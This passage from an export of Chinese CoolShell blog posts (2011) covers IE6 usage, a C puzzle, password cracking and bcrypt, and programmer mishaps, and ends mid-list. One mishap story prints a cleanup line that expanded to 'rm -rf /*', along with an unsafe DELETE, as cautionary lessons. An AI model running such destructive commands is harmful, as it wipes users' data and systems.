    "content": "---\nlayout: post\ntitle: 中国仍是IE6的重灾区\ndate: 2011/3/10/ 0:41:5\nupdated: 2011/3/10/ 0:41:5\nstatus: publish\npublished: true\ntype: post\n---\n\n“IE6于10年前诞生，现在应该是我们同IE6告别的时候了。”微软公司日前推出IE6倒计时网站（the Internet Explorer 6 Countdown，网址为[www.ie6countdown.com](http://www.ie6countdown.com/)），旨在尽早淘汰IE6，让用户升级到新版IE浏览器。\n\n\n值得注意一点的是，在这张百分比图上所显示的目前仍在使用IE6浏览器上网的百分比第一的是中国——34.5%，这个符合我国国情——什么都要争第一。我国人口世界第一占全世界1/4，网民也是世界第一，还在使用IE6的网民占全世界的1/3，可以我国网民的严重落后。根据[CNNIC今年的报告](http://www.cnnic.net.cn/dtygg/dtgg/201101/t20110118_20250.html)，我国现有4.5亿网民，34%也就是1.5亿用户，也就是说你身边每三个人中就有一个在用IE6。而中国的IE6网民占全世界使用IE6网民的一半。\n\n\n另外，我发现亚洲是重灾区啊，包括中日韩台印都很猛啊，看来微软在亚洲的营销的确不错。\n\n\n![](../wp-content/uploads/2011/03/IE6-Countdown.png \"IE6 Countdown\")\n\n\n我查看了一下Coolshell.cn的2011年到今天为止访问统计，排名第一是的Chrome(41.5%)，第二位的是Firefox(23.22%)，第三位的是IE8(10.7%)，第四位的是IE6(4.8%)。IE6的IP数有6400+。\n\n\n看来，在我国程序员这个人群中，越来越多的人使用Chrome+Firefox，挺喜人的，但是IE6还有4.8%，还不如土耳其，马来西亚，印尼等国家。  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [![新浪微博的XSS攻击](../wp-content/uploads/2011/06/sina_xss01-150x150.png)](https://coolshell.cn/articles/4914.html)[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html)\n* [![微软用新浪来当反面教材](../wp-content/uploads/2011/03/affc-image1-150x150.png)](https://coolshell.cn/articles/3872.html)[微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [中国仍是IE6的重灾区](https://coolshell.cn/articles/3921.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-17 计算机专业学生的大学生活.md",
    "content": "---\nlayout: post\ntitle: 计算机专业学生的大学生活\ndate: 2011/3/17/ 9:55:38\nupdated: 2011/3/17/ 9:55:38\nstatus: publish\npublished: true\ntype: post\n---\n\n下面看到某国外的同学描述的自己的大学生活，呵呵。做一下解释，\n\n\n* 正常的生活是，10点到17点上课，17点到22点是放松和work（chill相当于relax），22点到凌晨1点是社交活动，然后睡8小时。\n* 计算机专业的学生的生活是，只要你脑子还在转就work，脑子不转了，就睡2小时。（~~原来，国外的计算机大学的同学们在大学时就已在疯狂工作了，课都不上~~）（work是在校的学术作业项目（谢谢网友rho指正））\n\n\n[http://i.imgur.com/4kQAz.jpg \"计算机专业学生的大学生活\"](http://i.imgur.com/4kQAz.jpg)计算机专业学生的大学生活\n不过，看了一下上面的代码，我发现了两个问题：\n\n\n1. sleep(2)，在posix下是秒，在windows下是毫秒。\n2. (hour >= 22  &&  hour < 1) 这个表达式永假。正确的是(hour >= 22 || hour < 1)\n\n\n当然，我们并不能下结论——该同学的在学校里并没有学好编程。因为，你不知道Sleep 和 && 有没有被重载了。（你要把&&在某些情况下重载成||的行为也不是不可能 。**注：在c++中，你无法重载内建类型的操作符**）\n\n\n——————\n\n\n最后说明一下，最近事太多（一个项目要上线，另一个项目需求分析和设计、招聘、酷壳服务器迁移、带孩子、申请签证、给人做培训），所以没有更新，大家见谅。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [计算机专业学生的大学生活](https://coolshell.cn/articles/3928.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-18 可视化的排序过程.md",
    "content": "---\nlayout: post\ntitle: 可视化的排序过程\ndate: 2011/3/18/ 0:42:56\nupdated: 2011/3/18/ 0:42:56\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个日本程序员制做的一个[可视化的排序过程](http://jsdo.it/norahiko/oxIy/fullscreen)，包括了各种经典的排序算法，你可以调整速度和需要排序的个数。酷壳以前也介绍过几篇相关的文章 [一个排序算法比较的网站](https://coolshell.cn/articles/399.html \"一个排序算法比较的网站\")，[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html \"一个显示排序过程的Python脚本\") 关于各种排序算法的运行复杂度比较，请参看[Wikipedia的排序算法比较](http://en.wikipedia.org/wiki/Sorting_algorithm#Comparison_of_algorithms)。\n\n\n  \n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2583.html)[一些重要的算法](https://coolshell.cn/articles/2583.html)\n* [![一个显示排序过程的Python脚本](../wp-content/uploads/2009/04/bubble-150x150.png)](https://coolshell.cn/articles/536.html)[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html)\n* [![一个排序算法比较的网站](../wp-content/uploads/2009/04/sort-150x150.jpg)](https://coolshell.cn/articles/399.html)[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\nThe post [可视化的排序过程](https://coolshell.cn/articles/3933.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-2 中国的C2C模式.md",
    "content": "---\nlayout: post\ntitle: 中国的C2C模式\ndate: 2011/3/2/ 0:58:17\nupdated: 2011/3/2/ 0:58:17\nstatus: publish\npublished: true\ntype: post\n---\n\n\nC2C不是电了商务里的C2C，而是Copy to China的缩写，以前，我们以Made in China著称，现在我们会以C2C著称。toxicat制作了下面这个图片([源图](http://9gag.com/gag/83592))，大家慢慢欣赏，我相信，如果要把所有的C2C都列上去的话，那么，可能会上很长的一个图片。还记得那篇[为什么中国的网页设计那么烂？](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")吗？呵呵。何止是互联网，其它东西不也是C2C吗？\n\n\n![](../wp-content/uploads/2011/03/C2C_cover.jpg \"Copy to China\")\n\n\n![](../wp-content/uploads/2011/03/C2C.jpg \"伟大的C2C模式\")\n\n\n————————————————\n\n\n与此同时，[路透社报道](http://cn.reuters.com/article/CNTopGenNews/idCNCHINA-3878520110301): 美国将百度列入“恶名市场”名单 – 美国政府周一再次将中国最大网络搜索引擎百度列入假冒和盗版产品的年度“恶名市场”名单。美国企业界希望此名单能促使美国国会对这些“流氓网站”采取行动。（[BBC](http://www.bbc.co.uk/zhongwen/simp/world/2011/03/110301_china_usa_trade_piracy.shtml)：与百度一同被列入此名单的还有淘宝、北京秀水街、北京海龙电脑市场、上海杨浦颐高数码城、深圳罗湖市场、香港女人街、义务小商品市场、[91.com](http://91.com/)，以及TV Ants）\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [中国的C2C模式](https://coolshell.cn/articles/3820.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-2 破解你的口令.md",
    "content": "---\nlayout: post\ntitle: 破解你的口令\ndate: 2011/3/2/ 0:35:48\nupdated: 2011/3/2/ 0:35:48\nstatus: publish\npublished: true\ntype: post\n---\n\n在网上看到一张口令破解的表格，如下所示（第一列是口令长度，第二列是全小写的口令，第三列是有大写字母的口令，第四列是又加上了数字和其它字符的口令）\n\n\n![](../wp-content/uploads/2011/02/passwords.png \"破解你的口令所需要的时间\")\n\n\n如果你想知道自己的口令花多少时间可以被破确，你可以访问下面这个网站：（***更新2011/3/2晚10点15***）\n\n\n**<http://howsecureismypassword.net/>**\n\n\n这里先说一个这里说的口令破解。一般来说用户的口令都是以MD5编码加密放在数据库里的，MD5是不可逆的，所以，当你拿到你一串被MD5后的字串，你可以使用暴力破解——穷举所有的可能口令的MD5字串，然后和数据库里的对比，比对了你就知道口令了。当然，你一定要清楚，在某些审查很严重的地方，互联网内容提供商不一定会把你的口令以MD5加密，甚至就是明文（Plain Text）保存，所以你还需要小心，关于如何设计你的口令，[请参看这篇文章](https://coolshell.cn/articles/2428.html \"如何设计你的口令\")。\n\n\n从上面这表格我们可以看到，你的口令最好是在8个长度以上，而且一定要有在小写和数字，最好再加上其它字符，这样你的口令被破解的时候最需要463年，这样就比较安全了。当然，如果你的口令使用了一些常用的单词，那就另说了，现在破解口令一般都不会使用暴力破解，都是用一个尝用口令字典表来尝试——比如[这篇文章所说的字典表](https://coolshell.cn/articles/2451.html \"Twitter的禁用口令\")。\n\n\n但我提醒一下，这张表里中的时间忽略了一个问题，那就是并行，**可以使用多台电脑多个进程并行破解口令**，这样一来，上表中的时间就可大打折扣了。你只需要愿意花2000美刀，你就能够找到一个地方，1秒种计算7亿个口令，因为MD5，SHA这类的算法性能太好了。所以，你可能需要使用新的算法来加密你的口令，这种算法最好加上时间，也就是在算法的计算时间加长。呵呵，慢也有慢的好处。可能你需要考虑一下bcrypt算法，你[可以查看本站的这篇文章](https://coolshell.cn/articles/2078.html \"如何防范密码被破解\")。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\nThe post [破解你的口令](https://coolshell.cn/articles/3801.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-21 “火柴棍式”程序员面试题.md",
    "content": "---\nlayout: post\ntitle: “火柴棍式”程序员面试题\ndate: 2011/3/21/ 0:28:31\nupdated: 2011/3/21/ 0:28:31\nstatus: publish\npublished: true\ntype: post\n---\n\n有时候，有些面试题是很是无厘头，这不，又有一个，还记得小时候玩的的“火柴棍游戏”吗，就是移动一根火柴棍改变一个图或字的游戏。程序面试居然也可以这么玩，看看下面这个火柴棍式的程序面试题吧。\n\n\n下面是一个C程序，其想要输出20个减号，不过，粗心的程序员把代码写错了，你需要把下面的代码修改正确，不过，**你只能增加或是修改其中的一个字符**，请你给出三种答案。\n\n\n\n```\nint n = 20;\n\nfor(int i = 0; i < n; i--){\n    printf(\"-\");\n}\n```\n\n不要以为这题不是很难，我相信你并不那么容易能找到3种方法。我觉得，如果你能在10分钟内找出这三种方法，说明你真的很聪明，而且反应很快。当然，15分钟内也不赖。不过，你要是30分钟内找不到三种方法，当然，不说明你笨了，最多就是你的反应还不够快。嘿嘿。就当是玩玩吧。\n\n\n下面是我的答案：\n\n\n\n```\n\n//第一种解法：在for循环中给n加一个负号\nfor(int i = 0; i < -n; i--)\n\n//第二种解法：把 n 初始化成 -20\nint n = -20;\n\n//第三种解法：把for循环中的 i 初始化成40\nfor(int i = 40; i < n; i--)\n\n```\n\n不过，我要告诉你，以上这些答案都不对（我就知道你会偷看答案的），不过，顺着这些思路走很接近了。呵呵。\n\n\n下面是正确答案——\n\n\n\n\n```\n\n//第一种解法：在for循环中给 i 加一个负号\nfor(int i = 0; -i < n; i--)\n\n//第二种解法：在for循环中把 i-- 变成 n--\nfor(int i = 0; i < n; n--)\n\n//第三种解法：把for循环中的 < 变成 +\nfor(int i = 0; i + n; i--)\n\n```\n\n其它相关的变种题如下：\n\n\n* 通过修改、增加一个字符，让其输出21个减号\n* 通过修改、增加一个字符，让其只输出1个减号\n* 通过修改、增加一个字符，让其不输出减号\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/10478.html)[C++面试中string类的一种正确写法](https://coolshell.cn/articles/10478.html)\nThe post [“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-22 程序员那些悲催的事儿.md",
    "content": "---\nlayout: post\ntitle: 程序员那些悲催的事儿\ndate: 2011/3/22/ 0:55:30\nupdated: 2011/3/22/ 0:55:30\nstatus: publish\npublished: true\ntype: post\n---\n\n在StakeOverflow上有这样一个贴子叫“[Confessions of your worst WTF moment](http://stackoverflow.com/questions/63668/confessions-of-your-worst-wtf-moment \"Confessions of your worst WTF moment\")”（WTF就是What the fuck的缩写），挺有意思的，我摘几个小故事过来，希望大家在笑过之后能从中学到什么——**所有的经验都是从错误中来的**（我在其中加了一些点评）\n\n\n\n> 我们公司的软件是给警察局用的，那是一个对用来处理被逮捕的人的系统，此系统还需要收集脸部特征和指纹信息，并且，这个系统和会向FBI的系统提交这些信息。当我们在测试这个系统的时候，我们一般都是用我们自己的指纹，当然，数据库联着的是我们的测试数据库。不过，有一次，在我们测试完后，我们忘了把系统切换回生产库，于是我们的测试数据库就联上了生产环境，于是我们的指纹信息和照片就散布到了其它系统中……清除我们警察局这边的还好办，但是，你需要波士顿警察局警司去法院签字才能从FBI的数据库中清除我们的信息。\n> \n> \n\n\n**点评**：测试环境和生产环境的数据不要混在一起。\n\n\n\n> 有一次，我需要向新系统中导入一堆数据，因为数据量太大，需要5个小时，只能在夜里来干，在系统需要正式使用前2个小时，数据导完了，此时是凌晨4点。随后，我需要删除一些数据，于是我在SQL命令地上输入了“DELETE from important\\_table; where id=4”。是的，我没有看到哪里还有个分号，天啊。\n> \n> \n\n\n**点评**：这就是加班工作的恶果。另，在delete之前最好先做一次select。\n\n\n\n> 我把我的管理员口令提交到了一个开源软件的源码里。\n> \n> \n\n\n**点评：**1）版本管理器里的东西是删不掉的。2）一些用户和口令要hard code在代码里，所以，不要混用代码使用的权限和管理员的权限，小心管理程序的运行权限，为其注册专门的用户。\n\n\n\n\n> 我为一个很大的银行开发软件，在我的代码里，我为一段理论上根本不可能执行到的代码加了一个报错信息。有一天，不可思异的事发生了，这条报错信息显示在了该银行的1800个分行的超过10000个终端上——“如果你看到这个信息，说明整个系统被Fuck了，回家吧，祝你过得愉快！”\n> \n> \n\n\n**点评：“**假设是恶魔”，Assume意为Ass – u – me，意为——搞砸你和我。对于一些关键东西，永远不要做假设。小心你言语中的——“可能、应该、觉得、不应该”等词语，程序可不认这些东西。\n\n\n\n> 我远程登录到服务器上加几个防火墙规则。第一件我想干的事是在不允许任何人的任何连接，第二件是，为某个端口打开访问权限。不过，我在做完第一件事后就把配置保存了，结果其生效了……\n> \n> \n\n\n**点评**：这样的事经常发生，做远程网络管理的人多少会有那么几次发生这样的错误。在你将你的网络配置生效前，你得想一想，断线了你是否还能登得上去。改配置不要太冲动，生效前检查几次。\n\n\n\n> 我们的代码中有一个模块完美地工作了很多年了，只是代码太乱了。我说服了我的老板，我可以重写这个模块，于是我花了三个星期来重写这个模块。今天 ，我还记得，我的老板站在我的后面看着我，而我在在流着斗大的法汗珠去fix被我重写的“超级漂亮”的那个模块中一个接一个的bug。从那以后，我再也不重写代码了，除非有重大的利益。\n> \n> \n\n\n**点评：**这就所谓的[屠宰式编程](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")。这个案例告诉我们两个道理，1）维护代码要用最最最保守的方法来进行。2）重构代码前要像一个商人一样学会计算利益。当然，[ThoughtWorks的咨询师](https://coolshell.cn/articles/3745.html \"再谈敏捷和ThoughtWorks中国咨询师\")一定会告诉你TDD，结对，极限等等方法告诉你如果实践重构。但我想告诉你，一个程序在生产环境里运行好几个年能没有问题是一件很不容易的事，那怕其中的代码再烂，你再看不过去，你都要有一个清醒的头脑明白这几点，**1）软件的运行质量是远远大于代码质量的，2）你的测试案例是远远小于生产环境的，3）软件的完美的质量，是靠长时间的运行、测试和错误堆出来的，而不是某种方法论**。\n\n\n————————————————\n\n\n相信大家做程序员这一生中也有很多发生在自己身上的悲催的事儿，欢迎分享。我先分享几个我亲身经历过的事。\n\n\n一个发生在我的领导身上。\n\n\n\n> 我98年刚参加工作的时候，在某单位网络部门，一次，我们整个部门去给下属单位培训Cisco路由器，结果我们发现带去培训地点的设备少带了集线器HUB，设备连不起来。于是领导很不高兴，质问我们为什么没有带集线器？那几个对领导平时就不满的老员工说办公室里没有集线器了，都借给别的部门了。领导想了想，问我：“陈皓，我记得上次我给过你个集线器”，我说，“好像没有吧，我记不起来了，什么牌的？几口的？”，领导说：“什么牌子想不起来了，不过我记得那个集线器是**一个口**的”。“一个口的？！”，我心里嘀咕着，“真敢说啊”。但我不敢接话了。那几个老员工来劲了——“哪有一个口的HUB啊，一个口的怎么联两台电脑啊？”，领导说：“用两个一个口的不就行了”。领导这话一出，全场一片寂静，无言以对……\n> \n> \n\n\n**后来：**我们所有的组员都离开了我们的这个领导，我们的这个领导今天还在那里工作。我想告诉大家，**很多时候该走的是领导**（包括外企，我上一东家正在裁人，不过我觉得该被裁掉的应该是那些经理）。我们的领导经常出这样或那样的笑话，这让我随时随地地警醒自己——“**不要当一个被人笑话的经理**”，于是，今天我还在努力地学习技术。\n\n\n另一个发生在我身上\n\n\n\n> 刚刚接触Linux的时候，还不是很懂，那时的PC还只有奔3，编译公司的程序好慢啊，有时候为了调查一个问题，需要不断地打log，来来回回地编译，很不爽。直到有一天，硬盘不够了，df一下，发现/dev/shm还有空间。于是，把全部程序copy了过去，发现编译起程序超快无比，爽得不行。于是就把工作环境放在/dev/shm下了，连开发都放在这里了。这一天，开发一个功能，改了十来个文件，加班很晚，觉得基本搞定，大喜，回家睡觉。第二天一来，发现/dev/shm下空了，一个文件都没有了，问同事，同事不知，同事还安慰我说，上次他的文件也不知道被 谁删了，于是我大怒，告老板！老板也怒，发邮件到整个公司质问大家谁删了陈皓的程序，无人应答。IT部门答，“昨晚唯一的操作就是重启了linux服务器，什么也没干，不过我们天天备份服务器，可以恢复”，IT部门问我丢的文件在哪个目录下？于是，我reply to all – “在/dev/shm下……”，哎，人丢大发了……\n> \n> \n\n\n**后来：**我很感谢我以前犯的这个错，从那天以后，我开始立志学好Linux，这个错误让我努力，让我发奋。所以，我想告诉大家——**尤其是刚出道的程序员，你们要多多犯错，要犯错那种丢死人的错，这样你才会知耻而勇**。\n\n\n再来一个发生在我同事身上的\n\n\n\n> 01年，我们开发银行系统，在AIX上开发，RICS6000很贵，只能在客户那里开发，开发进度很紧张，慢慢地硬盘就不够用了，系统中有大量的垃圾文件，于是需要清除一些文件，于是有一个同事写了一个脚本，可以自动清除的各种不重要的文件，里面有一条命令大致是这个样子“ rm -rf ${app\\_log\\_dir}/\\*”，意为清除程序运行的日志。为了使用这个脚本，需要在root用户下运行，一开始还不错。直到有一天，某人一运行，整个根就没了。搞得整个团队只能用一周前的备份重写已写好的代码。后来，才发现原因是${app\\_log\\_dir}变量为空，于是成了“rm -rf /\\*”……\n> \n> \n\n\n**后来：**这个事后，我的那个同事，把rm命令改了名，并自己写了一个rm命令，把删除的文件先放到一个临时目录下。而我也因为这个事情，到今天，每次当我在root目录下使用rm时，敲击回车的手都是抖的。（另，rm时永远使用绝对路径）这里，我想告诉大家——**犯错不可怕，可怕的是不会从中总结教训，同一个错犯两次**。\n\n\n欢迎分享发生在你身上那些悲催的事。\n\n\n**（本文请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员那些悲催的事儿](https://coolshell.cn/articles/3980.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-24 Fix Bug的五个阶段.md",
    "content": "---\nlayout: post\ntitle: Fix Bug的五个阶段\ndate: 2011/3/24/ 0:34:43\nupdated: 2011/3/24/ 0:34:43\nstatus: publish\npublished: true\ntype: post\n---\n\n下面的文章和《[各种流行的编程方式](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")》有异曲同工，请你不要理解错了。**[本文来源](http://crankypm.com/2011/03/guest-post-stages-debugging/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+TheCrankyProductManager+(The+Cranky+Product+Manager) \"THE FIVE STAGES OF DEBUGGING\")**，翻译如下：\n\n\n——————————————————\n\n\n一个非常严重和困难的bug，能够成就一个饱经沧桑深受压力的有经验的专业程序员的职业生涯。经受这种考验的创伤程度，相当你受到了一次严重的身体伤害，离婚，或是家庭成为的离世。\n\n\n研究人员在研究了计算机编程心理学后，得出了一个程序员们在解决一个困难的bug时的心路里程。这些不同的境界，很像为大众所知的[Kübler-Ross Stages of Grief](http://en.wikipedia.org/wiki/K%C3%BCbler-Ross_model)（这个模型描述了人对待哀伤与灾难过程中的5个独立阶段（否认，愤怒，耍赖，抑郁，接受）。绝症患者被认为会经历这些阶段），而且原因都很相似。就好像死亡所伴随的悲伤一样，fix一个bug是一个过程其初始化了一个事件，一开始是拒绝相信，其造就了你苦闷的情绪并开始逐步影响你的心智。这种苦闷的情结果会让你纠结要努力忍受，最终会你会找到一个满意的结果。\n\n\n了解下面这几个bug-fixing的阶段，会让我们更好的生存下来，并持之以恒，最终带来……关闭我们所有的bug的结果。\n\n\n第一阶段：抵触\n-------\n\n\n本阶段的状态: 多疑 Skeptical. 生气 Offended. 易怒 Petulant.\n\n\n**1. 不理睬**\n\n\n也许这个bug会安静地离开。\n\n\n**2. 标记上“不是bug”**\n\n\n也许这是用户的错，或是本地配置有问题。是的，我确信就是那样，一会就会好的。\n\n\n\n**3. 就是一次小故障**\n\n\n我想这就是一次小故障，很奇怪地发生了一次，它不会再发生的，虽然没有搞清楚是为什么发生了，不过这就好像我们的数据库，网格，浏览器或别的什么打了几个嗝一样。一会就会好的，我确信。\n\n\n**4. 躲藏.**\n\n\n我要休几天病假，也许他们会把这个bug转给别人的。\n\n\n**5. 标记为“修改需求中”**\n\n\n你看，我是按照需求实现的。如果你们想要改这个行为和UI，就一定要修改需求。也许他们会决定就这样了。\n\n\n**6. 需要更多的信息**\n\n\n我不能确定这是一个bug，除非我能在错误日志中看到一条特定的报错信息。\n\n\n**7. 